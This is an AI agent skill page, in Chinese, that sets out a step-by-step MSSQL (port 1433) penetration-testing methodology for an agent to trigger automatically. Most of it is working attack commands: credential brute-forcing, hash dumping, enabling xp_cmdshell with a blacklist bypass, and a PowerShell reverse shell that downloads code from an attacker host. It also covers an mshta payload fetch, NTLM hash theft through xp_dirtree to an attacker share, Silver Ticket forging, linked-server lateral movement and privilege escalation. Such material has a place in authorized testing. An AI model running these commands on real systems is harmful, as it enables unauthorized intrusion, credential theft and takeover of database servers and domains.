# Mssql Pentesting

> MSSQL 数据库服务（1433 端口）渗透测试方法论。涵盖 MSSQL 服务发现、默认凭据测试、数据库枚举、xp_cmdshell 命令执行、链接服务器利用、权限提升、NTLM 哈希窃取、已知漏洞利用。 当 Agent 扫描发现 1433 端口开放、需要测试 MSSQL 认证、通过 xp_cmdshell 执行命令、或利用链接服务器横向移动时，触发此 Skill。

- Skill: `netvar1337/mssql-pentesting` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add netvar1337/mssql-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/netvar1337/mssql-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: netvar1337 (https://skillmd.com/u/netvar1337)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/netvar1337/mssql-pentesting

---


# MSSQL 渗透测试方法论 (1433)

## 深入参考

- xp_cmdshell 启用/绕过、登录哈希与凭据对象、链接服务器枚举与利用、权限提升 SQL、NTLM 窃取技术、Silver Ticket 伪造 -> 读 [references/mssql-techniques.md](references/mssql-techniques.md)
- SPN 发现、权限模拟提权链、跨域 Linked Server 利用、OLE/Agent Job/Proxy/External Scripts 替代执行、NTLM 窃取中继 -> 读 [references/mssql-exploitation.md](references/mssql-exploitation.md)

---

## 整体决策树

```
发现 1433 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本探测版本与配置
│   ├─ 确定实例名称 (默认 MSSQLSERVER / 命名实例)
│   └─ 判断环境类型
│       ├─ 本地部署 -> 完整攻击面 (OS 命令执行、提权)
│       └─ DBaaS (Azure SQL / RDS) -> 无 xp_cmdshell，侧重数据层
├─ Phase 2: 认证测试
│   ├─ 空密码 sa 账户 / 默认凭据
│   ├─ 密码爆破 (hydra / nxc / MSSQLPwner)
│   └─ Windows 认证 (Pass-the-Hash / Kerberos)
├─ Phase 3: 数据库枚举
│   ├─ 版本、用户、权限、数据库列表
│   ├─ 敏感数据搜索
│   └─ 密码哈希提取
├─ Phase 4: xp_cmdshell 命令执行
│   ├─ 检查/启用 xp_cmdshell
│   ├─ 执行 OS 命令
│   └─ 替代方法 (OLE / Python / CLR / Agent Job)
├─ Phase 5: 链接服务器利用
│   ├─ 枚举链接服务器
│   ├─ 通过链接执行远程查询/命令
│   └─ 链接服务器密码提取
├─ Phase 6: 权限提升
│   ├─ db_owner + TRUSTWORTHY -> sysadmin
│   ├─ IMPERSONATE 权限利用
│   └─ 本地提权 (SeImpersonatePrivilege -> Potato)
└─ Phase 7: NTLM 哈希窃取
    ├─ xp_dirtree / xp_subdirs / xp_fileexist 强制认证
    ├─ Responder / impacket-smbserver 捕获哈希
    └─ Silver Ticket 伪造 (捕获服务账户哈希后)
```

---

## Phase 1: 服务发现

### 1.1 端口与版本探测

```bash
# Nmap MSSQL 全脚本扫描
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

# Metasploit 实例发现
msf> use auxiliary/scanner/mssql/mssql_ping
```

### 1.2 环境判断

```
MSSQL 环境类型
├─ 本地部署 / VM
│   ├─ 完整攻击面: xp_cmdshell、文件读写、注册表、提权
│   └─ 继续 Phase 2-7 全流程
└─ DBaaS (Azure SQL / AWS RDS / GCP Cloud SQL)
    ├─ 无 xp_cmdshell、无 TRUSTWORTHY
    ├─ 侧重: SQL 注入逻辑、IAM 配置错误、数据导出
    └─ 跳过 Phase 4/6 中的 OS 相关攻击
```

---

## Phase 2: 认证测试

### 2.1 认证方式决策树

```
MSSQL 认证测试
├─ 1) 空密码 sa 测试
│   ├─ nmap --script ms-sql-empty-password -p 1433 <IP>
│   └─ nxc mssql <IP> -u sa -p ''
├─ 2) 默认/常见凭据
│   ├─ sa:sa, sa:password, sa:Password1, sa:P@ssw0rd
│   └─ nxc mssql <IP> -u sa -p passwords.txt
├─ 3) 密码爆破 (注意锁定策略!)
│   ├─ hydra -t 4 -l sa -P wordlist.txt <IP> mssql
│   └─ MSSQLPwner: mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
├─ 4) Windows 域认证
│   ├─ mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>
│   └─ nxc mssql <IP> -u <USER> -p <PASS> -d <DOMAIN>
└─ 5) Pass-the-Hash
    └─ nxc mssql <IP> -u <USER> -H <NTHASH> -d <DOMAIN>
```

### 2.2 客户端连接工具

```bash
# Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USER>:<PASS>@<IP>
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>

# sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\<Username> -P <Password> -D <Database>   # 本地认证
```

---

## Phase 3: 数据库枚举

### 3.1 基本信息收集

```sql
-- 版本信息
SELECT @@version;

-- 当前用户
SELECT user_name();
SELECT SYSTEM_USER;

-- 是否 sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- 数据库列表
SELECT name FROM master.dbo.sysdatabases;

-- 表列表
SELECT * FROM <db>.INFORMATION_SCHEMA.TABLES;

-- 用户与登录
SELECT sp.name AS login, sp.type_desc AS login_type, sl.password_hash,
       sp.create_date, sp.modify_date,
       CASE WHEN sp.is_disabled = 1 THEN 'Disabled' ELSE 'Enabled' END AS status
FROM sys.server_principals sp
LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id
WHERE sp.type NOT IN ('G', 'R') ORDER BY sp.name;
```

### 3.2 权限枚举

```sql
-- 当前用户服务器级权限
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

-- 当前用户数据库级权限
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');

-- sysadmin 角色成员
EXEC sp_helpsrvrolemember 'sysadmin';

-- 谁能执行 xp_cmdshell
EXEC sp_helprotect 'xp_cmdshell';
```

### 3.3 密码哈希提取

```sql
-- 获取登录哈希 (需要 sysadmin 或 CONTROL SERVER)
SELECT * FROM master.sys.syslogins;
```

### 3.4 RID 爆破枚举域用户

```bash
# 通过 MSSQL 爆破域 RID 枚举用户
nxc mssql <IP> --local-auth -u <user> -p '<pass>' --rid-brute 5000
nxc mssql <IP> -u <DOMAIN>\\<user> -p '<pass>' --rid-brute 10000
```

-> 读 references/mssql-techniques.md 获取完整枚举查询

---

## Phase 4: xp_cmdshell 命令执行

### 4.1 xp_cmdshell 决策树

```
检查命令执行能力
├─ 1) 直接尝试 xp_cmdshell
│   ├─ EXEC master..xp_cmdshell 'whoami'
│   ├─ 成功 -> 执行命令
│   └─ 失败 -> 尝试启用
├─ 2) 启用 xp_cmdshell (需 sysadmin)
│   ├─ EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
│   ├─ EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
│   └─ 再次执行 EXEC master..xp_cmdshell 'whoami'
├─ 3) xp_cmdshell 被黑名单过滤 -> 变量绕过
│   └─ DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami'
├─ 4) xp_cmdshell 不可用 -> 替代方法
│   ├─ OLE Automation (sp_OACreate + sp_OAMethod)
│   ├─ Python/R 脚本 (sp_execute_external_script)
│   ├─ CLR Assembly (.NET DLL 加载)
│   ├─ SQL Agent Job
│   └─ autoadmin_task_agents (远程 DLL 加载)
└─ 5) 反弹 Shell
    └─ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER>:8000/rev.ps1") | powershell -noprofile'
```

### 4.2 通过 nxc 远程执行

```bash
# CMD 命令
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -x "whoami"

# PowerShell 命令
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -X '$PSVersionTable'
```

### 4.3 MSSQLPwner 命令执行

```bash
# 直接执行
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth exec hostname

# 通过链接服务器执行
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# sp_oacreate 方法
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://<ATTACKER>/malicious.hta" -command-execution-method sp_oacreate

# 自定义 CLR Assembly
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
```

-> 读 references/mssql-techniques.md 获取 OLE / Python / CLR / Agent Job 详细方法

---

## Phase 5: 链接服务器利用

### 5.1 链接服务器枚举与利用决策树

```
已获得 MSSQL 访问
├─ 枚举链接服务器
│   ├─ EXEC sp_linkedservers
│   ├─ SELECT * FROM sys.servers
│   └─ MSSQLPwner: enum_links
├─ 发现链接
│   ├─ 检查链接上的权限
│   │   ├─ 链接以 sa 运行 -> 完全控制远程实例
│   │   └─ 低权限 -> 枚举远程数据
│   ├─ 通过链接执行查询
│   │   ├─ SELECT * FROM OPENQUERY([LINKED_SRV], 'SELECT @@version')
│   │   └─ EXEC ('SELECT @@version') AT [LINKED_SRV]
│   ├─ 通过链接启用 xp_cmdshell
│   │   └─ EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT [LINKED_SRV]
│   └─ 链接链跳跃 (A -> B -> C)
│       └─ Metasploit: exploit/windows/mssql/mssql_linkcrawler
└─ 提取链接服务器密码
    ├─ 需要本地管理员权限
    ├─ 启用 DAC (-T7806 启动参数)
    └─ -> 读 references/mssql-techniques.md #链接服务器密码提取
```

---

## Phase 6: 权限提升

### 6.1 权限提升决策树

```
当前非 sysadmin
├─ 检查 db_owner + TRUSTWORTHY
│   ├─ 查找 TRUSTWORTHY 数据库
│   │   SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases a
│   │   INNER JOIN sys.databases b ON a.name=b.name
│   ├─ 确认当前用户是否 db_owner
│   │   USE <db>; SELECT rp.name, mp.name FROM sys.database_role_members drm
│   │   JOIN sys.database_principals rp ON drm.role_principal_id=rp.principal_id
│   │   JOIN sys.database_principals mp ON drm.member_principal_id=mp.principal_id
│   ├─ 是 db_owner + TRUSTWORTHY -> 创建存储过程提权
│   │   └─ CREATE PROCEDURE sp_elevate WITH EXECUTE AS OWNER AS
│   │       EXEC sp_addsrvrolemember '<user>','sysadmin'
│   └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_dbowner
├─ 检查 IMPERSONATE 权限
│   ├─ SELECT b.name FROM sys.server_permissions a
│   │   INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id
│   │   WHERE a.permission_name='IMPERSONATE'
│   ├─ 可模拟 sa -> EXECUTE AS LOGIN = 'sa'
│   └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_execute_as
└─ 已获 sysadmin + OS Shell
    └─ SeImpersonatePrivilege -> Potato 系列提权
        ├─ RoguePotato
        ├─ PrintSpoofer
        └─ JuicyPotato / GodPotato
```

-> 读 references/mssql-techniques.md 获取完整提权 SQL 语句

---

## Phase 7: NTLM 哈希窃取

### 7.1 NTLM 窃取决策树

```
已获得 MSSQL 查询执行权限
├─ 启动监听
│   ├─ sudo responder -I tun0
│   └─ sudo impacket-smbserver share ./ -smb2support
├─ 触发 SMB 认证 (强制目标连接攻击者)
│   ├─ xp_dirtree '\\<ATTACKER>\any\thing'
│   ├─ EXEC master.dbo.xp_dirtree '\\<ATTACKER>\any\thing'
│   ├─ EXEC master..xp_subdirs '\\<ATTACKER>\anything'
│   ├─ EXEC master..xp_fileexist '\\<ATTACKER>\anything'
│   └─ MSSQLPwner: mssqlpwner <creds>@<IP> ntlm-relay <ATTACKER>
├─ 捕获 NetNTLMv2 哈希
│   └─ 离线破解: hashcat -m 5600 hash.txt wordlist.txt
└─ Silver Ticket 攻击 (进阶)
    ├─ 从捕获的哈希恢复服务账户密码
    ├─ 计算 NTLM 哈希
    ├─ 获取域 SID + 特权组 RID
    ├─ ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOM> \
    │     -spn MSSQLSvc/<fqdn>:1433 -groups <RID> <user>
    └─ KRB5CCNAME=<user>.ccache mssqlclient.py -no-pass -k <fqdn>
```

### 7.2 权限检查

```sql
-- 检查哪些用户可执行 UNC 路径函数
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```

---

## 文件读写操作

### 读取文件

```sql
-- OPENROWSET 读取文件 (需 ADMINISTER BULK OPERATIONS 权限)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

-- 检查权限
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
WHERE permission_name='ADMINISTER BULK OPERATIONS'
   OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```

### 写入文件

```
文件写入 (需管理员权限)
├─ 启用 OLE Automation Procedures
│   sp_configure 'show advanced options', 1; RECONFIGURE;
│   sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
└─ 通过 sp_OACreate 创建文件
    └─ -> 读 references/mssql-techniques.md #文件写入
```

---

## 注册表操作

```sql
-- 读取注册表 (需 sysadmin)
EXEC master.sys.xp_regread 'HKEY_LOCAL_MACHINE',
  'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent',
  'WorkingDirectory';

-- 检查权限
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```

---

## Metasploit 模块速查

```
MSSQL Metasploit 模块
├─ 发现: auxiliary/scanner/mssql/mssql_ping
├─ 枚举
│   ├─ admin/mssql/mssql_enum
│   ├─ admin/mssql/mssql_enum_domain_accounts
│   ├─ admin/mssql/mssql_enum_sql_logins
│   ├─ auxiliary/scanner/mssql/mssql_hashdump
│   └─ auxiliary/scanner/mssql/mssql_schemadump
├─ 提权
│   ├─ admin/mssql/mssql_escalate_dbowner
│   ├─ admin/mssql/mssql_escalate_execute_as
│   └─ exploit/windows/mssql/mssql_linkcrawler
├─ 命令执行
│   ├─ admin/mssql/mssql_exec
│   └─ exploit/windows/mssql/mssql_payload
├─ NTLM 窃取: auxiliary/admin/mssql/mssql_ntlm_stealer
└─ 本地认证绕过: windows/manage/mssql_local_auth_bypass
```

